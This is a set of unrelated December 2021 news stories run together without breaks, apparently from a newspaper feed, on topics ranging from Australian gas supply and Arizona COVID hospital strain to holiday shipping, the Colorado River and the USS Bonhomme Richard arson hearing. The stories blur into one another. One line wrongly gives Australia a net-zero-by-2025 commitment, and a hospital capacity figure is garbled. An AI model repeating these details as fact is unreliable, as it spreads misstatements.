Lockyer Deep. It also offered increasing output from existing gas plants, and highlighting existing gas stock which can be withdrawn from storage. The AEMO also pointed to an overall trend of growing renewable generation, which in turn has spurred an increase in demand for available gas-based energy. This is because gas has the ability to fire-up extremely quickly, being lauded by the federal government as critical in quickly filling gaps in energy demand during periods when there is insufficient supply of wind and solar output due to weather. The United Kingdom, and other parts of Europe, have recently experienced gas supply issues after insufficient wind generation dramatically drove up demand across the region, resulting in gas prices spiking by 400 percent. Read More UK Energy Crisis Shows Danger of Net Zero Emissions Policies: Aussie Senator Australias energy sector is going through a rapid transition, driven by changes in consumer behaviour and efforts to decarbonise the system, AEMOs WA Markets Group Manager Martin Maticka said. The strong linkages between Australias gas and electricity sectors mean that changes occurring in one sector will have an impact on the other. However, oil and gas peak body, the Australian Petroleum Production and Exploration Association (APPEA), warned that current protocols meant it could be difficult to secure new gas projects within the required time frame. Developing new gas resources is not a given and bringing projects to fruition is a complex technical and commercial challenge, said Claire Wilkinson, director of APPEA WA (pdf). Unfortunately, we are still hearing of excessively long assessment times for project approvals and regulatory duplication between government agencies and between the State and the Commonwealth. In some cases, the regulatory framework is not even in place. Gas scarcity concerns have similarly been seen on Australias more populated east coast, with the Australian Competition and Consumer Commission earlier this year declaring the nation was running out of time to avoid a looming gas crisis. To address this, the federal government ushered in new oil and gas exploration in June, and on Nov. 26 released its National Gas Infrastructure Plan, and an investment framework to help secure gas supplies over the next twenty years. The 21 release areas available for offshore oil and gas exploration as part of the 2021 Offshore Petroleum Exploration Acreage Release. (Department of Industry, Science, Energy and Resources) However, the decision to continue investments in carbon dioxide-emitting fuels has angered environmental groups, particularly in the wake of Australias net zero-by-2025 commitment, and attendance at the United Nations 26th international climate conference, COP26. Simon Bradshaw, head of research at climate change communications organisation, the Climate Council, expressed frustration at the federal governments decision to continue facilitating oil and gas investment. What part of gas is a polluting fossil fuel does this government not understand? This plan is a disaster. The science is very clear: to avoid a climate catastrophe, fossil fuels must stay in the ground, Bradshaw said. In a report titled Net Zero by 2050, the International Energy Agency (IEA) concluded that no new oil and gas should be developed in order to limit temperature below the critical threshold of 1.5 degrees celsius. Gas isand will forever remaindirty, expensive, inefficient and harmful to our health. The only thing that opening new basins will do is magnify the harm to Australian lives and livelihoods. At a time when the world is turning away from fossil fuels and embracing renewables, Australia could be a renewables superpower, but instead continues to live in a polluting past. This plan essentially lights a match to the global climate pact Australia signed up to in Glasgow just two weeks ago. PHOENIX (AP) Phoenix-based Banner Health is at its most overwhelmed since the pandemic began, leading the company's officials to issue a warning Tuesday that its hospital system may have to eventually choose who can receive care. Some of Banner's hospitals in one of Arizona's largest health care systems are operating above 100% capacity, said Dr. Marjorie Bessel, the company's chief clinical officer. COVID-19 hospitalizations make up one-third of Banner's hospital patients but there there is also an extremely high volume of patients who delayed preventative care or are in the late stages of an illness, she said. The company has 18 hospitals in Arizona. As of Tuesday, 10 of them were running above 100% of their ICU staffed bed capacity. Five of them were operating 100% above staffed in-patient bed capacity, according to spokesman Corey Schubert. We are more stretched now than we have been since the start of the pandemic, Bessel told reporters. ICUs are where we are experiencing the most significant strain on our resources. Banner has had to postpone medical procedures, new patient visits and non-urgent appointments because of the intensive care unit needs. Hospital professionals are are prioritizing medically necessary surgeries like mastectomies and gall bladder removals. The hospital system with assistance from over 2,600 travel nurses who travel around the country filling staffing needs is trying to counter a hemorrhaging of Banner staff nurses who retired, left the field or took non-bedside jobs . Banner's modeling predicts that its number of Arizona hospital bed occupancies will escalate and peak in mid-January, Bessel added. Nearly 90% of Banner patients undergoing treatment for COVID-19 are unvaccinated. Some days, the percentage of unvaccinated COVID-19 patients in intensive care has been 100%. Bessel reiterated that vaccinations were the key to reducing the burden on health care workers. My top ask of the community at this time is for all who are eligible to get vaccinated and your booster if you have not yet done so," Bessel said. This is the best way to prevent serious COVID illness that requires hospital-level care. Banner's situation echoes other hospitals in the region. Dr. Michael White, of Phoenix-based Valleywise Health, said staff are reporting the same number of COVID-19 infected patients as a year ago. White had hoped that vaccinations would have translated into fewer hospitalizations. Hospitalizations across the state for COVID-19 overall inched up Tuesday from a day earlier to 2,764 patients as of Monday, according to the Arizona state health department's coronavirus dashboard. The dashboard also reported 2,168 additional cases and 203 deaths. Most of the fatalities stemmed from inspection of death certificates going back several weeks. Since the pandemic started, the state has reported 1,320,748 confirmed coronavirus infection cases and 23,243 COVID-19 deaths. The delta variant continues to make up the majority of infections. However, Maricopa County Department of Public Health officials said Monday that they identified the newer omicron variant in six people in metro Phoenix. Tuesday marked a year since COVID-19 vaccines first arrived in Arizona, according to the Department of Health Services. So far, more than 4.5 million people in Arizona or 63.8% of the state's population have received at least one dose of a vaccine. Over 3.9 million have been fully vaccinated. Of the state's vaccine-eligible population, 67.8% have received at least one dose. Public health officials have said that unvaccinated people are 15.2 times more likely to die than those who are fully vaccinated for COVID-19. The holiday season is here, and Connecticut residents are joining countless others around the country and world as they send packages, letters and cards. But those who have waited to send out their holiday greetings are up against imminent shipping deadlines if they want their packages sent and delivered by Christmas. Here are the deadlines for USPS, UPS and FedEx Christmas packages, and what to know about the potential for shipping delays. What are the holiday shipping deadlines for the United States Postal Service? The United States Postal Service (USPS) recommends the following deadlines for deliveries to be expected by Dec. 25: Items send by retail ground service should be sent by Dec. 15 USPS Priority Mail Express Military Service should be sent by Dec. 16. This mail option is for Department of Defense personnel stationed overseas and offers "mailing privileges and expedited delivery service to or from the United States." First class mail and first-class packages (up to 15.99 ounces) should be sent by Dec. 17 Priority Mail service has a deadline of Dec. 18 Priority Mail Express service has a Dec. 23 deadline Mail going to Alaska and Hawaii from the mainland United States is subject to different deadlines, USPS notes. To send to Alaska with an expected delivery of Dec. 25, first-class and priority mail deliveries should be sent by Dec. 18, and Priority Mail Express deliveries should be sent by Dec. 21. To send to Hawaii, Priority and First-Class mailings should be sent by Dec. 17 and Priority Mail Express deliveries should be sent by Dec. 21. What are the shipping deadlines for the United Parcel Service and the Federal Express? United Parcel Service (UPS) recommends using its calculation tool to provide estimates of shipping and delivery dates for packages using standard ground services. However, UPS poses the following deadlines for U.S. domestic deliveries to reach their destinations by Dec. 24: The deadline for three-day select service is Dec. 21 The second-day air service deadline is Dec. 22 The Next-Day air service deadline is Dec. 23 for all U.S. domestic deliveries U.S. to Canada deadlines are Dec. 21 and Dec. 23 for Worldwide Expedited and Worldwide Express services respectively. U.S. to Mexico deadlines for an expected delivery date of Dec. 24 are Dec. 21 and Dec. 22 Worldwide Expedited and Worldwide Express services respectively. If shipping via FedEx this holiday season, the latest an item can be sent to arrive by Dec. 25 is the day before with the services Same Day option. Otherwise, those shipping via FedEx should ship U.S. packages between Dec. 21 and Dec. 23 for an expected Dec. 25 delivery using its Express service. To ship using ground service or freight service, the last day to ship is Dec. 15. International deadlines for FedEx vary. How many packages and pieces of mail are expected to be delivered this holiday season? According to the USPS, between 850 million and 950 million packages are expected to be delivered between Thanksgiving and New Years Day, while a projected 12 billion-plus letters, cards and packages will be processed and delivered within the same time frame. The volume of holiday mail this year is on pace with 2020, said Amy Gibbs, a spokesperson for the USPS' Long Island, Queens and Connecticut region. Overall, we expect a season comparable to last years, she said in an email. We are in the middle of the busiest week of the year and predicting nearly 2.3 billion pieces of mail, including greeting cards and packages will be processed and delivered between Dec. 13 and 17. UPS spokesperson Christina Repassy said in an email that while the delivery service is not publicly forecasting planned package volume, they are "anticipating another record holiday season" and will report holiday performance in late Jan. 2022. FedEx is expected to deliver 100 million more shipments than in 2019, FedEx spokesperson Heather Wilson said in an email. "We project that peak shipping volumes will be up more than 10 percent year over year, and we have been preparing for the influx of packages for months in advance of an unprecedented holiday season," she said. Are there delays in shipping this year? Gibbs said that USPS has not experienced delays and has been prepared since the spring to meet shipping demand. To prepare for the season, Gibbs said USPS had a number of hiring and training initiatives, and secured more warehouse space and sorting machines. USPS also increased Sunday delivery in select high-volume locations to help head off delays, Gibbs noted. UPS is "laser-focued" on fulfilling delivery demand and is "well-positioned to have another successful peak holiday season," Repassy said. Repassy noted that last year, UPS "had the industrys highest on-time delivery performance, exceeding 96% of all packages delivered on time, every week from Oct. 1 through Dec. 26." FedEx prepared for the 2021 holiday season by building out its e-commerce presence and by modernizing its airplane fleet, Wilson said. Are there are tips for sending packages out this year? Repassy said consumers should "shop, buy and ship early" this holiday season. People sending holiday mail should use a sturdy, well-labeled package to mitigate any unforeseen delays due to breakage or an insufficient address, Gibbs noted. Additionally, select postal service locations around Connecticut are offering extended hours on Dec. 19 for holiday shipping. NORWALK A multi-war monument honoring residents who served, dating back to the Revolutionary War, is under consideration for Norwalks Veterans Park. Military and Veterans Liaison Committee Chair Jeff DeWitt discussed the proposed monument at the groups meeting Monday. The thought is to have a monument about each war and have words to the effect of Norwalk thanks its residents who fought for freedom in the XYZ War, may we always remember their service, DeWitt said Tuesday. This is really only in my head right now. Ive never seriously proposed it in any committee. This would need the usual levels of signoff from agencies in City Hall. I think its possible, but Im an optimist. Properly planned, this would be a great healing place for veterans, their families, and the public. The monument, while still in the conceptual stages, would not include the names of Norwalkers who served or died during the wars, as those names are listed elsewhere (either in the alcove of City Hall or at the Shea-Magrath Monument or the Town Green), DeWitt said. The idea draws from other nearby municipalities that have constructed similar tributes, namely the monument of similar design in Danbury. The concept is to place a monument every 5 feet or so on the left and right side of the brick sidewalk leading from Seaview Avenue, DeWitt said. Each monument will honor a war that Norwalk residents participated in. The idea is to do this chronologically starting with the Revolutionary War, then funding one or two a year until its complete. The entire monument could take between 10 and 15 years to complete. There is very little in the park that reflects its name Veterans Park, DeWitt said. The idea was born out of the city approving a monument honoring Norwalks combat wounded, a Purple Heart Medal monument. That approval by the city of Norwalk, lent itself to discussions about how to expand the sidewalk in order to honor all Norwalks veterans who served during wartime. In July, the Common Councils Recreation, Parks and Cultural Affairs Committee fielded DeWitts idea for a monument honoring the citys Purple Heart recipients, but questions arose over funding for the project. Roughly $22,000 was secured for the project in September and led to the idea of expanding the citys war monuments. The project was the largest expense the Military and Veterans Liaison Committee requested since its founding in 2018. City spokesperson Josh Morgan said while the city is aware of DeWitts idea, it has not been submitted as a formal proposal. Rather, this was more of an informal topic of discussion, Morgan said. We appreciate the energy and enthusiasm of Mr. DeWitt and the Military and Veterans Liaison Committee which are bringing in new ideas and plans to help us honor and remember the brave men and women who have served our country. There is no cost estimate on the proposed war monument. Annually, the Military Committee has a budget of about $5,000, Norwalk Superintendent of Parks and Public Property Ken Hughes has said. Funding will be a priority, DeWitt said of the multi-war monument. It can be funded privately by using a site such as fundraisingbrick.com, where residents purchase a brick for the sidewalk and part of the proceeds would go towards the monument. Public-private partnership would be another option. For now, the committee is focused on hosting The Wall That Heals from June 2-5. In 2019 the city applied to be part of the walls national 2020 tour, which was largely canceled due to the COVID-19 pandemic, but Norwalk reapplied in May for the coming years tour, DeWitt said. The Wall that Heals is a mobile, three-quarter-scale replica of the Vietnam Veterans Memorial in Washington, D.C. The $10,000 fee for hosting the wall will be covered by funds from the Recreation and Parks Department budget. We are still going to do fundraising, DeWitt said. Theres a lot of ancillary costs that come with hosting. Theres fencing, feeding the volunteers, cases of water, tents, all kinds of things that need to be done. abigail.brone@hearstmediact.com Panagiotis Balaskas/AP SEATTLE (AP) The omicron variant is spreading at an alarming rate in Washington state, doubling in case numbers each day, one of the highest rates in the country. It is leading to a call for people to get vaccinated and take extra precautions as we head into the holidays. Researchers at the University of Washington Medicine lab knew the omicron variant could spread quickly, but not this fast. In just three days the variant doubled in positive test size each day from 3 percent to 7 percent to 13 percent, KOMO-TV reported. LAS VEGAS (AP) Water leaders in Arizona, Nevada and California signed an agreement Wednesday to voluntarily reduce their take from the Colorado River to help stave off mandatory cuts in the upcoming years. The signing took place at the Colorado River Water Users Association annual meeting in Las Vegas, amid urgency to negotiate new rules for managing the dwindling river which serves 40 million people beyond 2026, when current guidelines and an overlapping drought plan expire. The newest agreement, known as the 500+ Plan, requires the states to cut 500,000 acre-feet in 2022 and 2023, or enough to serve 1 million to 1.5 million households annually, depending on water usage and conservation in the area. It also requires financial investment from the states $40 million from Arizona, and $20 million each from Nevada, California and the Central Arizona Project, which operates a canal system that delivers Colorado River water in Arizona. The federal government would match the funding, for a total of $200 million. The money would fund water efficiency projects and programs to reduce usage throughout Arizona, Nevada and California, which are in the river's lower basin. The Interior Department joined the states and other water users in making the announcement. The stop-gap measure upstaged what water managers had hoped to be the focus of the Las Vegas gathering the start of negotiations for the next plan. That will have to wait, U.S. Bureau of Reclamation Commissioner Camille Touton told attendees over video conference. We need to focus on near-term operational challenges, she said. Exactly how much water each state will contribute under the 500+ Plan is still being negotiated. The three states' share of Colorado River water is delivered through the country's largest reservoir, Lake Mead. The lake fell below 1,075 feet (327 meters) above sea level this year, triggering mandatory cuts for Arizona, Nevada and Mexico in 2022. The states had volunteered to cut back on water before that threshold hit under a 2019 drought contingency plan. Arizona relied heavily on compensated water contributions from the Colorado River Indian Tribes and the Gila River Indian Community to fulfill its obligations under the drought plan. It's expected to do the same for the 500+ Plan. The reservoir is so low now that everyone realizes that they are vulnerable, said Ted Cooke, general manager of the Central Arizona Project. As a junior water rights holder, Arizona takes the biggest hit during any federal shortage declarations for the lower basin. Cooke said there won't be time for a do-over if Arizona takes all the reductions. It'll be too late, he said. Less water flowing through Hoover Dam, which holds back Lake Mead, also reduces power generation that serves 1.3 million people in three states. The dam now is running at 75% capacity. If Lake Mead falls below 950 feet (289 meters), the dam's turbines would stop running altogether. Lake Mead, which straddles the Nevada-Arizona line, was at 1,065 feet (324 meters) on Wednesday. For California, which receives more than half the hydropower, the new deal is particularly urgent, said Adel Hagekhalil, general manager of the Metropolitan Water District of Southern California. As levels drop at Lake Mead, it's basically strangling everything, Hagekhalil said. Ultimately, Mother Nature is in charge, said Kathryn Sorensen, research director at the Kyl Center for Water Policy at Arizona State University. Its all based on modeling that may or may not be correct," Sorensen said. "Whether even the 500+ Plan is enough, I just dont think people know. Next year marks 100 years since the creation of the compact that apportioned the river's water among seven Western states during an unseasonably wet era. Mexico was included later. Wyoming, Colorado, New Mexico and Utah are in the upper basin. In the years since, federally subsidized water projects allowed cities and farms to balloon. As scientists say climate change is making the West warmer and more arid, far less water is available in the system to meet demands of all users. ___ Fonseca reported from Flagstaff, Arizona. Follow Fonseca on Twitter: @FonsecaAP. Follow Peterson on Twitter: @brittanykamalei ___ The Associated Press receives support from the Walton Family Foundation for coverage of water and environmental policy. The AP is solely responsible for all content. For all of APs environmental coverage, visit https://apnews.com/hub/environment WESTPORT The state Department of Public Health recently moved Westport back into the red zone, but despite the increasing numbers, town officials said they currently have no plans to reinstate any restrictions. First Selectwoman Jennifer Tooker said Westports COVID-19 Emergency Management Team meets each week to monitor and assess the trends, numbers and transmission rates in Westport and while the number of cases has been rising, it is not alarming due the vaccination percentage in town. Although it is in the red category, Westport is fortunate that the vaccination rates are impressive and still going up, with all, Tooker said. For the moment, there is no compelling reason to change the current mask or gathering recommendations within the town of Westport. Westports transmission rate was at 16.5 cases per 100,000 people, according to state date on Dec. 15. The town also holds an overall 86 percent vaccination rate. Former First Selectman Jim Marpe lifted the mask mandate for indoor public settings on Nov. 4 as COVID cases were declining. At the time, Westport Weston Health District Director of Health Mark Cooper, said the health district supported the actions as long as the local transmission rate remained low. Cooper could not be reached for comment Wednesday about the increase. On Friday, the state Department of Public Health moved Westport back into the red zone, the classification assigned to communities with a positivity rate of 15 cases or more per 100,000 people. At the time, all but seven communities had moved into the red zone. As of Dec. 15, every community in the state has since moved into the red zone except Washington. According to recent data for Westport, residents 65 or older have a 94 percent full vaccination rate. Ages 45 to 64 hold a 85 percent vaccination rate. Ages 25 to 44 have a vaccination rate of 84 percent. Ages 18 to 24 currently sit at 91 percent and ages 12 to 17 have a 95 percent vaccination rate. About 37 percent of those ages 5 to 11, the group most recently approved to receive the vaccine, are fully vaccinated with 52 percent receiving at least one dose, as of Dec. 15. Tooker said that while the 5-to-11 age group is the only a group that doesnt hold a vaccination rate between 85 and 95, the percentages around the group is increasing. In fact, in a effort to increase the age groups vaccination rates, The Wesport Public Schools recently partnered with the Connecticut Childrens Medical Center, Bay Street Pediatrics, Village Pediatrics, Willows Pediatric Group and the Westport Weston Health District to offer two COVID-19 vaccine clinic for Westport students within the new age bracket. Superintendent Thomas Scarice said the clinic, which offered the Pfizer 5-11 vaccine, filled up almost instantly. registering nearly 1,000 K-6 students. We continue to urge those who are eligible to get vaccinated, get a booster, and or have eligible children between 5 and 11 get vaccinated, Tooker said. SAN DIEGO (AP) An electrical engineer who examined the USS Bonhomme Richard after it was destroyed by fire last year testified Wednesday that it might have started with a faulty cable, while a former federal fire investigator said he also found no data to back the government's finding that it was arson. Andrew Thoresen was hired by the defense attorneys representing the junior sailor accused of setting the fire aboard the amphibious assault ship. He told a military court during a preliminary hearing that he found highly combustible lithium ion batteries with their caps blown off and a copper cable with a melted end in the engine of a forklift, indicating it may have sparked the fire. They cannot be eliminated as a source of the fire, said Thoresen, who has examined 3,000 fire scenes as a forensic electrical engineer. Phil Fouts, a former federal fire investigator also hired by defense attorneys, told the court he agreed after inspecting the ship. For me the cause of the fire is undetermined at this point," said Fouts, a former fire investigator with the Bureau of Alcohol, Tobacco, Firearms and Explosives, adding later: I have not eliminated the forklift and batteries (as potential causes) and I don't have any data to support an intentionally set fire." Both the batteries and forklift were inside the lower vehicle storage area of the warship where the lead federal fire investigator for the government determined the July 12, 2020, fire was started by someone who ignited carboard boxes stored there. The testimony came in a preliminary hearing to determine whether there is enough evidence for Ryan Sawyer Mays to face a military trial. Mays is charged with aggravated arson and the willful hazarding of a vessel. The Navy judge, who listened to three days of testimonies, will be reviewing thousands of pages of material and hours of video. A decision is not expected for weeks. Mays, 20, has denied igniting the blaze that burned for nearly five days on the USS Bonhomme Richard, injuring dozens of personnel aboard and sending acrid smoke wafting over San Diego. The ship was damaged so badly that it had to be scuttled. The blaze was one of the worst noncombat warship disasters in recent memory. Prosecutors disputed that the government's investigation overlooked other causes. They said Fouts inspected the charred vessel four months after the fire and spent only 15 hours on board compared to the government's team of 10 certified fire investigators who spent days aboard the ship shortly after the blaze was extinguished. Fouts acknowledged he did not closely examine the forklift and based his conclusion on the engineer's report. The engineer also inspected the ship months after the fire. Defense attorneys have argued there is no physical evidence tying Mays to the crime. Much of the case relies on sailors accounts of that morning. One sailor, Edwin Kongo, testified Wednesday that he thanked Mays for saving his life after he alerted him there was a fire on board. Kongo said he had woken up minutes before Mays told him to get off the ship. About 160 sailors and officers were on board when the fire started on the 840-foot (256-meter) vessel, which had been docked at Naval Base San Diego while undergoing a two-year, $250 million upgrade. A key witness for the Navy testified Tuesday that he is certain he saw Mays in the area where the flames ignited and another sailor said the suspect mumbled Im guilty on the way to the brig after being taken into custody. Petty Officer 3rd Class Kenji Velasco said Mays was wearing blue work coveralls; other sailors said they saw him in a green camouflage uniform that day. Petty Officer 2nd Class Matthew Betz testified Wednesday that Velasco initially told him he did not recognize the person he saw go down below before the fire. But Betz told the court he considered Velasco to be really" truthful and found Mays would lie. Betz said Mays told him he had to drop out of SEAL training because he got injured during the program's Hell Week," which is the most grueling part that comes at the end of the weeks-long training. Mays actually dropped out voluntarily after five days. One thing that the sailors have been consistent about in their testimonies is that Mays was not liked by many on the ship and did not want to be there. Betz told investigators Mays was selfish, whiney and mad because he dropped out of the SEALs. Navy prosecutors have argued Mays set the ship on fire because he was angry about being assigned to the ship. On Tuesday Carissa Tubman, a sailor who was assigned to escorting Mays to the brig on Aug. 20, 2020, testified that she heard a stunned Mays mumble to himself: Im guilty, I guess. I did it. Then she said he mumbled some more before she heard him say: It had to be done. Defense attorneys said he was joking and speaking sarcastically after being surprised that he was being locked up. 3 1 of 3 Charles Bolinger Show More Show Less 2 of 3 Charles Bolinger Show More Show Less 3 of 3 MARYVILLE At the villages Dec. 1 trustee board meeting, they unanimously passed a resolution to pay $347,000 in local matching funds for the construction of a roundabout at the intersection of Route 162 and Keebler Road. The Illinois Department of Transportation (IDOT) requires us as the local entity to sign off of this as part of the Congestion, Mitigation and Air Quality (CMAQ) grant, said Mayor Craig Short on Friday. He added that this is the third time he and the board have done this, not because the grant amount changed but because the local matching amount has changed. He said the project will go out for bid letting next month and in the past, he has been hopeful that construction will start later in 2022. There have been delays buying the necessary right-of-way for the project, which will replace the T-intersection where 162 goes east-west and Keebler comes in from the south and which has been under discussion for six years. In July 2015, Abby McElroy, 16, died in a vehicle accident at that intersection; in the wake of her death, the girls family and friends have asked, demanded, pleaded and begged for the village board and IDOT to do something to improve this intersection to spare others the grief, pain and loss they have experienced. In other action, the trustees also unanimously approved a $10 limb and brush pick up fee that takes effect Jan. 1. Short said that on Dec. 1, the location that allow the village to dump fallen tree limbs and brush began charging $25 a load. Rather than pass on that entire fee to residents, trustees decided to add a $10 user fee. Homeowners currently have a four-foot by eight-foot area on their property where they can leave tree branches and other brush to be picked up but only from their own property, not from landscaping companies. Short said they average about 50 limb pickups a month, though he admitted December is a slow month for that activity. Normally, limb and brush pickups happen once a month. At that time in the spring and summer, we have two crews that do nothing but pick up limbs for four days [a month], he said. Two exceptions to the new limb fee will be after a storm passes through the area and for Christmas Tree pickups. For more information, visit the village website. ALTON Clayton Cope is being remembered as a hero. Cope, 29, was in the Edwardsville Amazon facility when it was struck around 8:35 p.m. Friday by an EF3 tornado. Cope was one of six people killed in the building's collapse. Information released by Gent Funeral Home in Alton states Cope was helping others find shelter shortly before he died. He had worked at the facility for just over a year as a maintenance mechanic. On Friday, a visitation with full military honors is planned to start at 4 p.m. at the funeral home located at 2409 State St., Alton. The visitation is planned until 7 p.m. Friday. He served in the Navy for six years and toured on the USS Eisenhower, reaching the rank of Aviation Electronics Technician Petty Officer 3rd Class. He worked as a calibration specialist on aircraft carriers and received a series of awards and decorations, including the National Defense Service Medal and the Global War of Terrorism Expeditionary Medal. Friends described Cope as an avid outdoorsman who enjoyed video games, riding motorcycles and his dog, Draco. Born in Alton, Cope was the son of Lynn and Carla Cope. In addition to his parents, he is survived by his sisters, Rachel B. Cope of St. Louis, and Alexandra M. Cope of Aurora, Colorado. In lieu of flowers, donations can be made in Claytons honor Treehouse Wildlife Center: https://www.treehousewildlifecenter.com/donate. An online fundraiser to help with the family's expenses also has been established at "Donations for Clay Cope expenses" on Facebook. Online guestbook and information may be found at www.gentfuneralhome.com,. Also killed in the storm were Kevin D. Dickey, 62, of Carlyle; Etheria S. Hebb, 34, of St. Louis; Austin J. McEwen, 26, of Edwardsville; Deandre S. Morrow, 28, of St. Louis; and Larry E. Virden, 46, of Collinsville. On Monday, Amazon officials announced the company plans to rebuild the storm damaged facility. ATHENS, Greece (AP) The Greek foreign minister on Tuesday voiced worries over potential plans by Spain to boost military cooperation with Greece's regional rival, and NATO ally, Turkey. Nikos Dendias made the comments following talks with visiting Spanish Foreign Minister Jose Manuel Albares in Athens. Last month, Turkish President Recep Tayyip Erdogan said his country hopes to increase defense cooperation with Spain also a NATO member through the purchase of a second aircraft carrier and possibly a submarine. I expressed concern over Spain's possible intention to strengthen its military cooperation with Turkey, Dendias said Tuesday. He said European Union members have agreed not to export military technology that could be used for aggressive acts or regional destabilization. Dendias added that Albares offered a clear position that Spain will act within the framework of decisions by the EU, to which both Greece and Spain belong. Greece has embarked on a project to modernize its air force and navy, with major purchases from France, citing concerns over Turkish military activities. Relations between Greece and Turkey have deteriorated over the past year and a half over undersea gas exploration rights in the Eastern Mediterranean and migration. Turkey is a destabilizing factor in the Eastern Mediterranean, Dendias said. SIDON, Lebanon (AP) Hamas officials buried three of their members Tuesday who were killed by gunfire in a tense Palestinian refugee camp in southern Lebanon days earlier. The militant group accused members of a rival faction of the deadly shooting. Ayman Shanaa, an official with the militant group, told mourners that Fatah militia members were behind the shootings, which he called a heinous and cowardly crime." There are tens of thousands of Palestinian refugees and their descendants in Lebanon, most living in refugee camps. Fatah is the political faction of Palestinian President Mahmoud Abbas and Hamas rules the Gaza Strip. Fatah called the accusations arbitrary and misleading." In a statement, the group accused Hamas of inciting against its members in Lebanon before investigation into the violence is concluded. The deadly violence took place at a Hamas-organized funeral Sunday in the Burj Shamali camp. Shanaa called it a premeditated crime that aims to undermine security and stability in the refugee camps in Lebanon. The funeral was held in the southern city of Sidon and attended by several thousand people, many of whom raised the green Hamas flag. Shanaa called for handing the perpetrators known to all to the Lebanese security agencies. Lebanese security forces dont operate inside about 12 Palestinian refugee camps scattered around the Mediterranean country, where security is in the hands of Palestinian factions who often compete for clout. The violence started after a series of massive explosions in Burj Shamali late Friday, which Lebanese officials said ignited in an ammunition depot. Hamas, which is powerful in the camp, denied it was a weapons depot and said the explosions started with an electrical short-circuit in a storage area for oxygen bottles. One Hamas member was killed in the explosions. During his funeral on Sunday, gunfire erupted leaving three people dead and several injured. The source of the shooting was not clear at the time and Palestinian officials had different accounts of what happened. Shanaas comments Tuesday were the most direct public accusation against Fatah. Tensions between Palestinian factions in Lebanon often turn into violence but are usually quickly contained within the overcrowded camps. As a result of the tension, Fatah said it was ending all communications with Hamas at all levels in Lebanon. NEW YORK (AP) A Long Island police official will be New York Citys next police commissioner, the first woman to lead the nations largest police force. Mayor-Elect Eric Adams told the New York Post on Tuesday that his choice, Nassau County Police Chief of Detectives Keechant Sewell, is a proven crime fighter with the experience and emotional intelligence to deliver both the safety New Yorkers need and the justice they deserve. Sewell, 49, will replace Dermot Shea, who is retiring from the NYPD after 30 years, the last two as commissioner. Shell begin when Adams takes office Jan. 1. Adams, a former NYPD captain, promised to hire a woman as commissioner. Other candidates included former Seattle Chief Carmen Best, Philadelphia Commissioner Danielle Outlaw, former Newark chief Ivonne Roman and NYPD Chief of Patrol Juanita Holmes. Sewell, a Queens native, will be just the third Black person to run the NYPD after Benjamin Ward and Lee Brown, who served in the 1980s and 1990s. She will inherit a police department in flux. The NYPD has struggled to keep crime down a few years after achieving record lows. The rise, particularly in shootings and killings, is part of a national trend in the wake of the COVID-19 pandemic, but police officials have also blamed state reforms that eliminated pretrial detention for many charges. There is little evidence that the reforms have resulted in more crime. Adams, the cofounder of 100 Blacks in Law Enforcement Who Care, an advocacy group that sought criminal justice reform and spoke out against police brutality, has pledged new strategies to fight crime, including the return of foot patrols. The Post reported that Sewell impressed Adams early in his search for a police commissioner, describing her selection as a gut choice. Sewell was named Nassaus Chief of Detectives in September 2020 overseeing a staff of about 350 people. The NYPD has about 35,000 officers. Chief Sewell will wake up every day laser-focused on keeping New Yorkers safe and improving our city, and I am thrilled to have her at the helm of the NYPD, Adams told the Post. LANSING, Mich. (AP) Michigan legislators late Tuesday passed a $1.5 billion bill with state incentives to land major business projects, including an electric vehicle battery factory that General Motors wants to build in the Lansing area. Once Gov. Gretchen Whitmer signs the funding and related bills into law, $1 billion in state revenue will go to the new Strategic Outreach and Attraction Reserve Fund. Legislative budget committees would have to approve transfers from the account to new site readiness and critical industry funds before the state's economic development board could distribute grants, loans and other assistance to companies. Thanks to the effective collaboration of legislative leadership in both parties, our state will be competitive for every dollar and every job for years to come, the Democratic governor said in a statement. The funding legislation was approved on 25-11 and 78-25 votes in the Senate and House before lawmakers adjourned for the year. As part of the deal, she will sign $409 million in aid for restaurants and other businesses that lost money in the pandemic. The Republican-controlled Legislature also approved a $75 million tax cut for businesses that pay taxes on nonindustrial equipment and personal property. The exemption, based on the value of the equipment, would rise from $80,000 to $180,000 per parcel. We are in a period where there are increasingly large opportunities that will have generational and transformative impact. This allows us to be in better position to win those deals, Quentin Messer Jr., CEO of the Michigan Economic Development Corp. and president and chair of the Michigan Strategic Fund, said of the $1 billion in incentives. The Lansing City Council on Monday began approving local tax breaks for the proposed GM project, which could cost up to $2.5 billion and employ as many as 1,700 workers. Business leaders and lawmakers have said Michigan is in the mix for three other big deals that could be announced as soon as January. Michigan-based automakers qualify for generous job-retention tax credits under an old economic development program, and some businesses were awarded tax incentives through a newer initiative that expired in 2019. But supporters of the new incentives say the state cannot compete with what other states are offering, despite criticism that such corporate subsidies are unfair to other companies and could be better spent on government services. Talks about boosting incentives had been underway but intensified in recent months after Ford Motor Co. announced plans to build an electric vehicle assembly plant and three battery factories in Kentucky and Tennessee. The Ford announcement felt like a punch in the nose. ... Michiganders have always responded to every punch with a more forceful counterpunch," Messer told The Associated Press. Opponents in both parties, including Democratic Rep. Cynthia Johnson of Detroit, called the incentives corporate welfare and said there is no guarantee that any new jobs will last in the long term. Why do the wheels turn so fast for corporate America? When they come in here and they demand something, they get it like that, said Democratic Sen. Jeff Irwin of Ann Arbor. What about the people who are suffering in silence with mental illness? What about the people sleeping on the street? What about the small businesses who are trying to figure how (to) pay for health care? But Sen. Ken Horn, a Frankenmuth Republican, said residents are counting on Michigan to be prepared for the auto industry's shift from internal combustion engines to zero emission electric power. This is our opportunity to make a difference. This is money well spent, he said, saying the incentives will give Michigan a better than 50-50 shot at securing all four serious projects on the table, including another auto-related deal. The grants for pandemic-afflicted businesses to be funded with federal discretionary pandemic aid and the tax cut were welcomed by groups representing small businesses. Grants to qualifying businesses will be tied to what they paid in 2020 for property taxes or rent, unemployment insurance taxes and liquor fees, inspection fees and other fees. Critics questioned the tax reduction's effect on municipalities. By repealing this tax in perpetuity with no replacement to local communities beyond the first year, you are directly defunding the money that goes toward public safety," said Sen. Jeremy Moss, a Southfield Democrat. Republican Senate Majority Leader Mike Shirkey pledged to work to devise a permanent funding solution over the next year. ___ Follow David Eggert at https://twitter.com/DavidEggert00 EDITORS NOTE: The Intelligencer requests briefs be submitted at least 10 days prior to the desired publication date. Due to the volume of community-submitted briefs, the content may be published within 10 days of submission. Holidays and weather forecasts may impact some events. The Intelligencer cannot guarantee that submission will be published. A (2-Person) Christmas Carol 7 p.m. at the Edwardsville Public Library. Stageplays annual performance is based on the classic tale by Charles Dickens. Children are encouraged to bring their adults and wear pajamas. Free Gift Wrapping 2-6 p.m. at The 